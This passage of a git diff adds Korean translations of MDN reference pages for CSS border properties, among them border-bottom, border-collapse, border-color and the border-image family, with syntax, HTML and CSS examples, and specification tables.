{{Compat("css.properties.border-bottom-width")}}

+ +

같이 보기

+ +
    +
  • 테두리 너비 관련 CSS 속성: {{Cssxref("border-left-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-top-width")}}, and {{Cssxref("border-width")}}.
  • +
  • 아래 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-bottom")}}, {{Cssxref("border-bottom-style")}}, and {{Cssxref("border-bottom-color")}}.
  • +
diff --git a/files/ko/web/css/border-bottom/index.html b/files/ko/web/css/border-bottom/index.html new file mode 100644 index 0000000000..fc203bb67b --- /dev/null +++ b/files/ko/web/css/border-bottom/index.html @@ -0,0 +1,109 @@ +--- +title: border-bottom +slug: Web/CSS/border-bottom +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 테두리 +translation_of: Web/CSS/border-bottom +--- +
{{CSSRef}}
+ +

border-bottom CSS 단축 속성은 요소의 아래쪽 테두리를 설정합니다. {{cssxref("border-bottom-width")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-bottom-color")}}의 값을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-bottom.html")}}
+ + + +

다른 단축 속성과 마찬가지로, border-bottom는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.

+ +
border-bottom-style: dotted;
+border-bottom: thick green;
+
+ +
border-bottom-style: dotted;
+border-bottom: none thick green;
+
+ +

따라서 border-bottom보다 먼저 지정한 {{cssxref("border-bottom-style")}}의 값은 무시됩니다. {{cssxref("border-bottom-style")}}의 기본값은 none이므로, border-style을 명시하지 않으면 테두리를 만들지 않습니다.

+ +

구문

+ +
border-bottom: 1px;
+border-bottom: 2px dotted;
+border-bottom: medium dashed green;
+
+ +

border-bottom은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.

+ +

+ +
+
<br-width>
+
{{cssxref("border-bottom-width")}}.
+
<br-style>
+
{{cssxref("border-bottom-style")}}.
+
{{cssxref("<color>")}}
+
{{cssxref("border-bottom-color")}}.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
<div>
+  아래쪽 테두리를 가진 요소입니다.
+</div>
+ +
div {
+  border-bottom: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+
+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-bottom', 'border-bottom')}}{{Spec2('CSS3 Backgrounds')}}No direct changes, though the modification of values for the {{cssxref("border-bottom-color")}} do apply to it.
{{SpecName('CSS2.1', 'box.html#propdef-border-bottom', 'border-bottom')}}{{Spec2('CSS2.1')}}No significant changes.
{{SpecName('CSS1', '#border-bottom', 'border-bottom')}}{{Spec2('CSS1')}}Initial definition
+ +
{{cssinfo}}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-bottom")}}

diff --git a/files/ko/web/css/border-collapse/index.html b/files/ko/web/css/border-collapse/index.html new file mode 100644 index 0000000000..8f024cf916 --- /dev/null +++ b/files/ko/web/css/border-collapse/index.html @@ -0,0 +1,148 @@ +--- +title: border-collapse +slug: Web/CSS/border-collapse +tags: + - CSS + - CSS Borders + - CSS Property + - CSS Tables + - Reference +translation_of: Web/CSS/border-collapse +--- +
{{CSSRef}}
+ +

border-collapse CSS 속성은 표 테두리(border)가 분리(separated) 또는 상쇄(collapsed)될 지를 결정합니다. 분리 모델에서는, 인접한 셀은 각각 자신의 고유(distinct) 테두리가 있습니다. 상쇄 모델에서는, 인접한 표 셀은 테두리를 공유합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-collapse.html")}}
+ + + +

분리(separated) 모델은 HTML 표 테두리 전통 모델입니다. 인접 셀은 각각 자신의 고유 테두리가 있습니다. 그 사이의 간격은 {{ Cssxref("border-spacing") }} 속성에 의해 주어집니다.

+ +

상쇄(collapsed) 테두리 모델에서는, 인접 표 셀은 테두리를 공유합니다. 그 모델에서는, inset의 {{ Cssxref("border-style") }} 값은 groove처럼, outsetridge처럼 행동합니다.

+ +

구문

+ +
/* Keyword values */
+border-collapse: collapse;
+border-collapse: separate;
+
+/* Global values */
+border-collapse: inherit;
+border-collapse: initial;
+border-collapse: unset;
+ +

+ +
+
separate
+
분리된 테두리 표 렌더링 모델의 사용을 요청하는 키워드입니다. 기본값입니다.
+
collapse
+
상쇄된 테두리 표 렌더링 모델의 사용을 요청하는 키워드입니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

브라우저 엔진의 다색 표

+ +

HTML

+ +
<table class="separate">
+    <caption><code>border-collapse: separate</code></caption>
+    <tbody>
+        <tr><th>Browser</th> <th>Layout Engine</th>
+        </tr>
+        <tr><td class="fx">Firefox</td> <td class="gk">Gecko</td>
+        </tr>
+        <tr><td class="ie">Internet Explorer</td> <td class="tr">Trident</td>
+        </tr>
+        <tr><td class="sa">Safari</td> <td class="wk">Webkit</td>
+        </tr>
+        <tr><td class="ch">Chrome</td> <td class="bk">Blink</td>
+        </tr>
+        <tr><td class="op">Opera</td> <td class="bk">Blink</td>
+        </tr>
+    </tbody>
+</table>
+<table class="collapse">
+    <caption><code>border-collapse: collapse</code></caption>
+    <tbody>
+        <tr><th>Browser</th> <th>Layout Engine</th>
+        </tr>
+        <tr><td class="fx">Firefox</td> <td class="gk">Gecko</td>
+        </tr>
+        <tr><td class="ie">Internet Explorer</td> <td class="tr">Trident</td>
+        </tr>
+        <tr><td class="sa">Safari</td> <td class="wk">Webkit</td>
+        </tr>
+        <tr><td class="ch">Chrome</td> <td class="bk">Blink</td>
+        </tr>
+        <tr><td class="op">Opera</td> <td class="bk">Blink</td>
+        </tr>
+    </tbody>
+</table>
+ +

CSS

+ +
.collapse {
+    border-collapse: collapse;
+}
+.separate {
+    border-collapse: separate;
+}
+table {
+    display: inline-table;
+    margin: 1em;
+    border: dashed 6px;
+    border-width: 6px;
+}
+table th, table td {
+    border: solid 3px;
+}
+.fx { border-color: orange blue; }
+.gk { border-color: black red; }
+.ie { border-color: blue gold; }
+.tr { border-color: aqua; }
+.sa { border-color: silver blue; }
+.wk { border-color: gold blue; }
+.ch { border-color: red yellow green blue; }
+.bk { border-color: navy blue teal aqua; }
+.op { border-color: red; }
+ +

결과

+ +

{{ EmbedLiveSample('A_colorful_table_of_browser_engines', 400, 300) }}

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{ SpecName('CSS2.1', 'tables.html#borders', 'border-collapse') }}{{ Spec2('CSS2.1') }}초기 정의
+ +

브라우저 호환성

+ +

{{Compat("css.properties.border-collapse")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("border-spacing")}}, {{cssxref("border-style")}}
  • +
  • The border-collapse property alters the appearance of the {{htmlelement("table")}} HTML element.
  • +
diff --git a/files/ko/web/css/border-color/index.html b/files/ko/web/css/border-color/index.html new file mode 100644 index 0000000000..4d5ab51a4c --- /dev/null +++ b/files/ko/web/css/border-color/index.html @@ -0,0 +1,184 @@ +--- +title: border-color +slug: Web/CSS/border-color +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-color +--- +
{{CSSRef}}
+ +

border-color CSS 단축 속성은 모든 면의 테두리 색상을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-color.html")}}
+ + + +

각 면 테두리의 색상은 {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}를 사용해 정할 수 있습니다. 아니면 쓰기 방향에 따라 달라지는 속성인 {{cssxref("border-block-start-color")}}, {{cssxref("border-block-end-color")}}, {{cssxref("border-inline-start-color")}}, {{cssxref("border-inline-end-color")}}을 사용할 수도 있습니다.

+ +

테두리 색상에 대해 더 알아보려면 CSS로 HTML 요소에 색 입히기 문서를 참고하세요.

+ +

구문

+ +
/* <color> 값 */
+border-color: red;
+
+/* 세로방향 | 가로방향 */
+border-color: red #f015ca;
+
+/* 위 | 가로방향 | 아래 */
+border-color: red rgb(240,30,50,.7) green;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-color: red yellow green blue;
+
+/* 전역 값 */
+border-color: inherit;
+border-color: initial;
+border-color: unset;
+
+ +

border-color 속성은 한 개에서 네 개의 값을 사용해서 지정할 수 있습니다.

+ +
    +
  • 한 개의 값을 사용하면 모든 네 면에 동일한 색상을 적용합니다.
  • +
  • 두 개의 값을 사용하면 첫 번째 값이 위아래, 두 번째 값이 좌우의 색상을 맡습니다.
  • +
  • 세 개의 값을 사용하면 첫 번째 값이 위, 두 번째 값이 좌우, 세 번째 값이 아래의 색상을 맡습니다.
  • +
  • 네 개의 값을 사용하면 각각 순서대로 위, 오른쪽, 아래, 왼쪽(시계방향) 순서로 색상을 적용합니다.
  • +
+ +

+ +
+
{{cssxref("<color>")}}
+
테두리의 색상.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

border-color의 모든 사용법

+ +

HTML

+ +
<div id="justone">
+  <p><code>border-color: red;</code>는 아래와 같습니다.</p>
+  <ul><li><code>border-top-color: red;</code></li>
+    <li><code>border-right-color: red;</code></li>
+    <li><code>border-bottom-color: red;</code></li>
+    <li><code>border-left-color: red;</code></li>
+  </ul>
+</div>
+<div id="horzvert">
+  <p><code>border-color: gold red;</code>는 아래와 같습니다.</p>
+  <ul><li><code>border-top-color: gold;</code></li>
+    <li><code>border-right-color: red;</code></li>
+    <li><code>border-bottom-color: gold;</code></li>
+    <li><code>border-left-color: red;</code></li>
+  </ul>
+</div>
+<div id="topvertbott">
+  <p><code>border-color: red cyan gold;</code>는 아래와 같습니다.</p>
+  <ul><li><code>border-top-color: red;</code></li>
+    <li><code>border-right-color: cyan;</code></li>
+    <li><code>border-bottom-color: gold;</code></li>
+    <li><code>border-left-color: cyan;</code></li>
+  </ul>
+</div>
+<div id="trbl">
+  <p><code>border-color: red cyan black gold;</code>는 아래와 같습니다.</p>
+  <ul><li><code>border-top-color: red;</code></li>
+    <li><code>border-right-color: cyan;</code></li>
+    <li><code>border-bottom-color: black;</code></li>
+    <li><code>border-left-color: gold;</code></li>
+  </ul>
+</div>
+
+ +

CSS

+ +
#justone {
+  border-color: red;
+}
+
+#horzvert {
+  border-color: gold red;
+}
+
+#topvertbott {
+  border-color: red cyan gold;
+}
+
+#trbl {
+  border-color: red cyan black gold;
+}
+
+/* Set width and style for all divs */
+div {
+  border: solid 0.3em;
+  width: auto;
+  margin: 0.5em;
+  padding: 0.5em;
+}
+
+ul {
+  margin: 0;
+  list-style: none;
+}
+
+ +

결과

+ +

{{EmbedLiveSample('border-color의_모든_사용법', 600, 300)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-color', 'border-color')}}{{Spec2('CSS3 Backgrounds')}}The transparent keyword has been removed as it is now a part of the {{cssxref("<color>")}} data type.
{{SpecName('CSS2.1', 'box.html#border-color-properties', 'border-color')}}{{Spec2('CSS2.1')}}The property is now a shorthand property.
{{SpecName('CSS1', '#border-color', 'border-color')}}{{Spec2('CSS1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-color")}}

+ +

같이 보기

+ +
    +
  • 테두리 색상 관련 CSS 속성: {{Cssxref("border")}}, {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}
  • +
  • 다른 테두리 관련 CSS 속성: {{Cssxref("border-width")}}, {{Cssxref("border-style")}}
  • +
  • {{cssxref("<color>")}} 자료형
  • +
  • 다른 색상 관련 속성: {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, {{cssxref("column-rule-color")}}
  • +
  • CSS로 HTML 요소에 색 입히기
  • +
diff --git a/files/ko/web/css/border-image-outset/index.html b/files/ko/web/css/border-image-outset/index.html new file mode 100644 index 0000000000..ee670a5ba8 --- /dev/null +++ b/files/ko/web/css/border-image-outset/index.html @@ -0,0 +1,113 @@ +--- +title: border-image-outset +slug: Web/CSS/border-image-outset +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-image-outset +--- +
{{CSSRef}}
+ +

border-image-outset CSS 속성은 요소의 테두리 상자와 테두리 이미지의 거리를 설정합니다.

+ +

border-image-outset으로 인해 요소 바깥에 그려지는 테두리로는 스크롤이 생기지 않으며 마우스 이벤트를 잡아낼 수도 없습니다.

+ +
{{EmbedInteractiveExample("pages/css/border-image-outset.html")}}
+ + + +

구문

+ +
/* <length> 값 */
+border-image-outset: 1rem;
+
+/* <number> 값 */
+border-image-outset: 1.5;
+
+/* 세로방향 | 가로방향 */
+border-image-outset: 1 1.2;
+
+/* 위 | 가로방향 | 아래 */
+border-image-outset: 30px 2 45px;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-image-outset: 7px 12px 14px 5px;
+
+/* 전역 값 */
+border-image-outset: inherit;
+border-image-outset: initial;
+border-image-outset: unset;
+
+ +

border-image-outset 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 각 값은 {{cssxref("<length>")}}나 {{cssxref("<number>")}}입니다. 음수는 유효하지 않습니다.

+ +
    +
  • 한 개의 값은 모든 네 면의 거리를 설정합니다.
  • +
  • 두 개의 값을 지정하면 첫 번째는 위와 아래, 두 번째는 왼쪽과 오른쪽 거리를 설정합니다.
  • +
  • 세 개의 값을 지정하면 첫 번째는 , 두 번째는 왼쪽과 오른쪽, 세 번째 값은 아래 거리를 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 순서로 거리를 지정합니다. (시계방향)
  • +
+ +

+ +
+
{{cssxref("<length>")}}
+
테두리 거리의 크기로 고정값 사용.
+
{{cssxref("<number>")}}
+
테두리 거리의 크기로 {{cssxref("border-width")}}의 배수 사용.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<div id="outset">밖으로 나간 테두리를 가지고 있어요!</div>
+
+ +

CSS

+ +
#outset {
+  width: 10rem;
+  background: #cef;
+  border: 1.4rem solid;
+  border-image: radial-gradient(#ff2, #55f) 40;
+  border-image-outset: 1.5;  /* = 1.5 * 1.4rem = 2.1rem */
+  margin: 2.1rem;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제", "auto", 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-image-outset', 'border-image-outset')}}{{Spec2('CSS3 Backgrounds')}}Initial definition
+ +
{{cssinfo}}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-image-outset")}}

diff --git a/files/ko/web/css/border-image-repeat/index.html b/files/ko/web/css/border-image-repeat/index.html new file mode 100644 index 0000000000..ddca0a7c73 --- /dev/null +++ b/files/ko/web/css/border-image-repeat/index.html @@ -0,0 +1,125 @@ +--- +title: border-image-repeat +slug: Web/CSS/border-image-repeat +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-image-repeat +--- +
{{CSSRef}}
+ +

border-image-repeat CSS 속성은 원본 이미지의 모서리 영역을 요소의 테두리 이미지 크기에 맞춰 조절할 때 사용할 방법을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-image-repeat.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+border-image-repeat: stretch;
+border-image-repeat: repeat;
+border-image-repeat: round;
+border-image-repeat: space;
+
+/* 세로방향 | 가로방향 */
+border-image-repeat: round stretch;
+
+/* 전역 값 */
+border-image-repeat: inherit;
+border-image-repeat: initial;
+border-image-repeat: unset;
+
+ +

border-image-repeat 속성은 한 개 또는 두 개의 값을 사용해 지정할 수 있습니다.

+ +
    +
  • 한 개의 값을 지정하면 모든 네 면이 같은 방식을 사용합니다.
  • +
  • 두 개의 값을 지정하면, 첫 번째 값은 위와 아래, 두 번째 값은 왼쪽과 오른쪽 면의 방식을 지정합니다.
  • +
+ +

+ +
+
stretch
+
원본 이미지의 모서리 영역을 늘리거나 줄여 간격을 채웁니다.
+
repeat
+
원본 이미지의 모서리 영역을 타일처럼 반복해 간격을 채웁니다. 크기가 맞지 않으면 마지막 이미지는 잘릴 수 있습니다.
+
round
+
원본 이미지의 모서리 영역을 타일처럼 반복해 간격을 채웁니다. 크기가 맞지 않으면 늘어나거나 줄어들 수 있습니다.
+
space
+
원본 이미지의 모서리 영역을 타일처럼 반복해 간격을 채웁니다. 크기가 맞지 않으면 각 타일에 균등하게 공백을 배치합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

CSS

+ +
#bordered {
+  width: 12rem;
+  margin-bottom: 1rem;
+  padding: 1rem;
+  border: 40px solid;
+  border-image: url("https://mdn.mozillademos.org/files/4127/border.png") 27;
+  border-image-repeat: stretch;  /* 라이브 샘플에서 바꿀 수 있습니다 */
+}
+
+ + + +

{{EmbedLiveSample("예제", "auto", 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-image-repeat', 'border-image-repeat')}}{{Spec2('CSS3 Backgrounds')}}Initial definition
+ +
{{cssinfo}}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-image-repeat")}}

diff --git a/files/ko/web/css/border-image-slice/index.html b/files/ko/web/css/border-image-slice/index.html new file mode 100644 index 0000000000..7dfb26229b --- /dev/null +++ b/files/ko/web/css/border-image-slice/index.html @@ -0,0 +1,107 @@ +--- +title: border-image-slice +slug: Web/CSS/border-image-slice +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-image-slice +--- +
{{CSSRef}}
+ +

border-image-slice CSS 속성은 {{cssxref("border-image-source")}}로 설정한 이미지를 여러 개의 영역으로 나눕니다. 이렇게 나눠진 영역이 요소의 테두리 이미지를 이룹니다.

+ +
{{EmbedInteractiveExample("pages/css/border-image-slice.html")}}
+ + + +

이미지는 네 개의 꼭지점, 네 개의 모서리, 한 개의 중앙 총 9개의 영역으로 나눠집니다. 상하좌우 각각의 모서리에서 주어진 거리만큼 떨어진 네 개의 분할선이 영역의 크기를 결정합니다.

+ +

The nine regions defined by the border-image or border-image-slice properties

+ +

위의 도표로 구역이 어떻게 나뉘는지 확인할 수 있습니다.

+ + + +

{{cssxref("border-image-repeat")}}, {{cssxref("border-image-width")}}, {{cssxref("border-image-outset")}} 속성이 최종 테두리 이미지에서 각 영역의 사용 방법을 지정합니다.

+ +

구문

+ +
/* 모든 방향 */
+border-image-slice: 30%;
+
+/* 세로방향 | 가로방향 */
+border-image-slice: 10% 30%;
+
+/* 위 | 가로방향 | 아래 */
+border-image-slice: 30 30% 45;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-image-slice: 7 12 14 5;
+
+/* `fill` 키워드 */
+border-image-slice: 10% fill 7 12;
+
+/* 전역 값 */
+border-image-slice: inherit;
+border-image-slice: initial;
+border-image-slice: unset;
+
+ +

border-image-slice 속성은 한 개에서 네 개의 <number> 또는 <percentage> 값을 사용해 지정할 수 있습니다. 각각의 숫자는 네 방향 분할선의 위치를 나타냅니다. 음수 값은 유효하지 않고, 최대 크기보다 큰 값은 100%로 잘립니다.

+ +
    +
  • 한 개의 값을 지정하면, 모든 분할선의 위치가 각각의 기준 모서리에서 동일한 거리만큼 떨어진 곳으로 설정됩니다.
  • +
  • 두 개의 값을 지정하면, 첫 번째 값은 위와 아래 분할선, 두 번째 값은 왼쪽과 오른쪽 분할선의 위치를 설정합니다.
  • +
  • 세 개의 값을 지정하면, 첫 번째 값은 , 두 번째 값은 왼쪽과 오른쪽, 세 번째 값은 아래 분할선의 위치를 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 분할선의 거리를 순서대로 지정합니다. (시계방향)
  • +
+ +

선택적으로 아무데나 fill 키워드를 추가할 수 있습니다.

+ +

+ +
+
{{cssxref("<number>")}}
+
모서리에서 분할선까지의 픽셀 거리(래스터 이미지), 또는 좌표 거리(벡터 이미지). 벡터 이미지에서 숫자는 원본 이미지가 아닌 요소의 크기에 상대적이므로 보통 백분율을 선호합니다.
+
{{cssxref("<percentage>")}}
+
모서리에서 분할선까지의 백분율 거리. 가로축은 원본 이미지의 너비에, 세로축은 이미지의 높이에 상대적입니다.
+
fill
+
중앙 영역을 보존하여 배경 이미지처럼 사용. 실제 {{cssxref("background")}} 속성보다 위에 그려집니다. 중앙 영역 이미지는 위와 왼쪽 모서리 영역의 크기에 맞도록 늘어납니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-image-slice', 'border-image-slice')}}{{Spec2('CSS3 Backgrounds')}}Initial defintion
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-image-slice")}}

diff --git a/files/ko/web/css/border-image-source/index.html b/files/ko/web/css/border-image-source/index.html new file mode 100644 index 0000000000..8d35053b26 --- /dev/null +++ b/files/ko/web/css/border-image-source/index.html @@ -0,0 +1,78 @@ +--- +title: border-image-source +slug: Web/CSS/border-image-source +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-image-source +--- +
{{CSSRef}}
+ +

border-image-source CSS 속성은 요소의 테두리 이미지로 사용할 원본 이미지를 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-image-source.html")}}
+ + + +

{{cssxref("border-image-slice")}} 속성으로 나뉜 구역을 사용해 최종 테두리 이미지를 생성합니다.

+ +

구문

+ +
/* 키워드 값 */
+border-image-source: none;
+
+/* <image> 값 */
+border-image-source: url(image.jpg);
+border-image-source: linear-gradient(to top, red, yellow);
+
+/* 전역 값 */
+border-image-source: inherit;
+border-image-source: initial;
+border-image-source: unset;
+
+ +

+ +
+
none
+
테두리 이미지를 사용하지 않습니다. {{cssxref("border-style")}}이 대신 표시됩니다.
+
{{cssxref("<image>")}}
+
테두리에 사용할 이미지 참조입니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

{{cssxref("border-image")}}에서 확인할 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-image-source', 'border-image-source')}}{{Spec2('CSS3 Backgrounds')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-image-source")}}

diff --git a/files/ko/web/css/border-image-width/index.html b/files/ko/web/css/border-image-width/index.html new file mode 100644 index 0000000000..a99e3d4bb8 --- /dev/null +++ b/files/ko/web/css/border-image-width/index.html @@ -0,0 +1,128 @@ +--- +title: border-image-width +slug: Web/CSS/border-image-width +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-image-width +--- +
{{CSSRef}}
+ +

border-image-width CSS 속성은 요소 테두리 이미지의 너비를 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-image-width.html")}}
+ + + +

속성의 값이 {{cssxref("border-width")}}보다 크다면 테두리 이미지는 안쪽 여백(과 콘텐츠) 영역을 침범하여 그려집니다.

+ +

구문

+ +
/* 키워드 값 */
+border-image-width: auto;
+
+/* <length> 값 */
+border-image-width: 1rem;
+
+/* <percentage> 값 */
+border-image-width: 25%;
+
+/* <number> 값 */
+border-image-width: 3;
+
+/* 세로방향 | 가로방향 */
+border-image-width: 2em 3em;
+
+/* 위 | 가로방향 | 아래 */
+border-image-width: 5% 15% 10%;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-image-width: 5% 2em 10% auto;
+
+/* 전역 값 */
+border-image-width: inherit;
+border-image-width: initial;
+border-image-width: unset;
+
+ +

border-image-width 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 음수는 유효하지 않습니다.

+ +
    +
  • 한 개의 값은 모든 네 면의 테두리 너비를 설정합니다.
  • +
  • 두 개의 값을 지정하면 첫 번째는 위와 아래, 두 번째는 왼쪽과 오른쪽 테두리 너비를 설정합니다.
  • +
  • 세 개의 값을 지정하면 첫 번째는 , 두 번째는 왼쪽과 오른쪽, 세 번째 값은 아래 테두리 너비를 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 순서로 테두리 너비를 지정합니다. (시계방향)
  • +
+ +

+ +
+
<length-percentage>
+
{{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}로 지정한 테두리 너비. 백분율 값은 왼쪽과 오른쪽 테두리에 대해선 테두리 이미지 영역의 너비, 위쪽과 아래쪽에 대해선 테두리 이미지 영역의 높이를 사용해 계산합니다.
+
<number>
+
테두리 너비로 {{cssxref("border-width")}}의 배수 사용
+
auto
+
방향과 일치하는 {{cssxref("border-image-slice")}}가 가진 원래 너비 또는 높이 사용. 이미지가 원래 크기를 가지고 있지 않으면 방향과 일치하는 border-width 크기를 사용합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

다음 예제는 아래의 가로 90픽셀, 세로 90픽셀 이미지를 사용해 테두리 이미지를 생성합니다.

+ +

+ +

원본 이미지의 각 원은 가로 30픽셀, 세로 30픽셀입니다.

+ +

HTML

+ +
<p>밤을 쉬이 봄이 무성할 릴케 듯합니다. 토끼, 써 이런 하나에 듯합니다. 이네들은 나는 패, 듯합니다.
+   나는 보고, 딴은 토끼, 이런 멀리 듯합니다. 청춘이 가을로 둘 버리었습니다. 걱정도 밤이 나는 애기
+   오는 언덕 경, 계십니다. 멀리 까닭이요, 나는 별빛이 듯합니다. 소녀들의 벌레는 걱정도 까닭이요,
+   북간도에 쓸쓸함과 오면 것은 어머님, 까닭입니다.</p>
+
+ +

CSS

+ +
p {
+  border: 20px solid;
+  border-image: url("https://mdn.mozillademos.org/files/10470/border.png") 30 round;
+  border-image-width: 16px;
+  padding: 40px;
+}
+ +

결과

+ +

{{EmbedLiveSample('예제', 200, 240)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-image-width', 'border-image-width')}}{{Spec2('CSS3 Backgrounds')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-image-width")}}

diff --git a/files/ko/web/css/border-image/index.html b/files/ko/web/css/border-image/index.html new file mode 100644 index 0000000000..e907da9062 --- /dev/null +++ b/files/ko/web/css/border-image/index.html @@ -0,0 +1,168 @@ +--- +title: border-image +slug: Web/CSS/border-image +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-image +--- +
{{CSSRef}}
+ +

border-image CSS 속성은 요소의 주위에 이미지를 그립니다. 일반 테두리를 대체합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-image.html")}}
+ + + +

border-image는 {{cssxref("border-image-source")}}, {{cssxref("border-image-slice")}}, {{cssxref("border-image-width")}}, {{cssxref("border-image-outset")}}, {{cssxref("border-image-repeat")}}의 단축 속성입니다. 다른 단축 속성과 마찬가지로, 생략한 속성은 초기값으로 설정됩니다.

+ +
+

참고: 테두리 이미지를 불러오는데 실패할 경우에 대비해 {{cssxref("border-style")}} 속성을 설정해야 합니다. 사실 명세에 따르면 필수로 지정해야 하지만 모든 브라우저가 그렇게 구현하지는 않았습니다.

+
+ +

구문

+ +
/* 이미지 | 슬라이스 */
+border-image: linear-gradient(red, blue) 27;
+
+/* 이미지 | 슬라이스 | 반복 */
+border-image: url("/images/border.png") 27 space;
+
+/* 이미지 | 슬라이스 | 너비 */
+border-image: linear-gradient(red, blue) 27 / 35px;
+
+/* 이미지 | 슬라이스 | 너비 | 거리 | 반복 */
+border-image: url("/images/border.png") 27 23 / 50px 30px / 1rem round space;
+
+ +

border-image 속성은 아래 나열한 값 중 한 개에서 다섯 개 사이를 사용해 지정할 수 있습니다.

+ +
+

참고: 만약 {{cssxref("border-image-source")}}의 계산값none이거나 이미지를 그릴 수 없다면 {{cssxref("border-style")}}이 대신 보여집니다.

+
+ +

+ +
+
<'border-image-source'>
+
원본 이미지. {{cssxref("border-image-source")}}를 참고하세요.
+
<'border-image-slice'>
+
이미지를 구역별로 나눌 때 사용할 슬라이스 크기. 네 개 값까지 지정할 수 있습니다. {{cssxref("border-image-slice")}}를 참고하세요.
+
<'border-image-width'>
+
테두리 이미지 너비. 네 개 값까지 지정할 수 있습니다. {{cssxref("border-image-width")}}를 참고하세요.
+
<'border-image-outset'>
+
테두리 이미지와 요소 외곽의 거리. 네 개 값까지 지정할 수 있습니다. {{cssxref("border-image-outset")}}을 참고하세요.
+
<'border-image-repeat'>
+
원본 이미지의 모서리 구역을 테두리의 크기에 맞출 때의 조정 방법. 두 개 값까지 지정할 수 있습니다. {{cssxref("border-image-repeat")}}을 참고하세요.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

비트맵

+ +

이번 예제는 요소의 테두리에 마름모 패턴을 적용합니다. 테두리 이미지의 원본은 가로 81픽셀, 세로 81픽셀의 ".png" 파일로, 8개의 마름모가 사각형의 테두리를 이루고 있습니다.

+ +

an example borderimage

+ +

HTML

+ +
<div id="bitmap">This element is surrounded by a bitmap-based border image!</div>
+
+ +

CSS

+ +

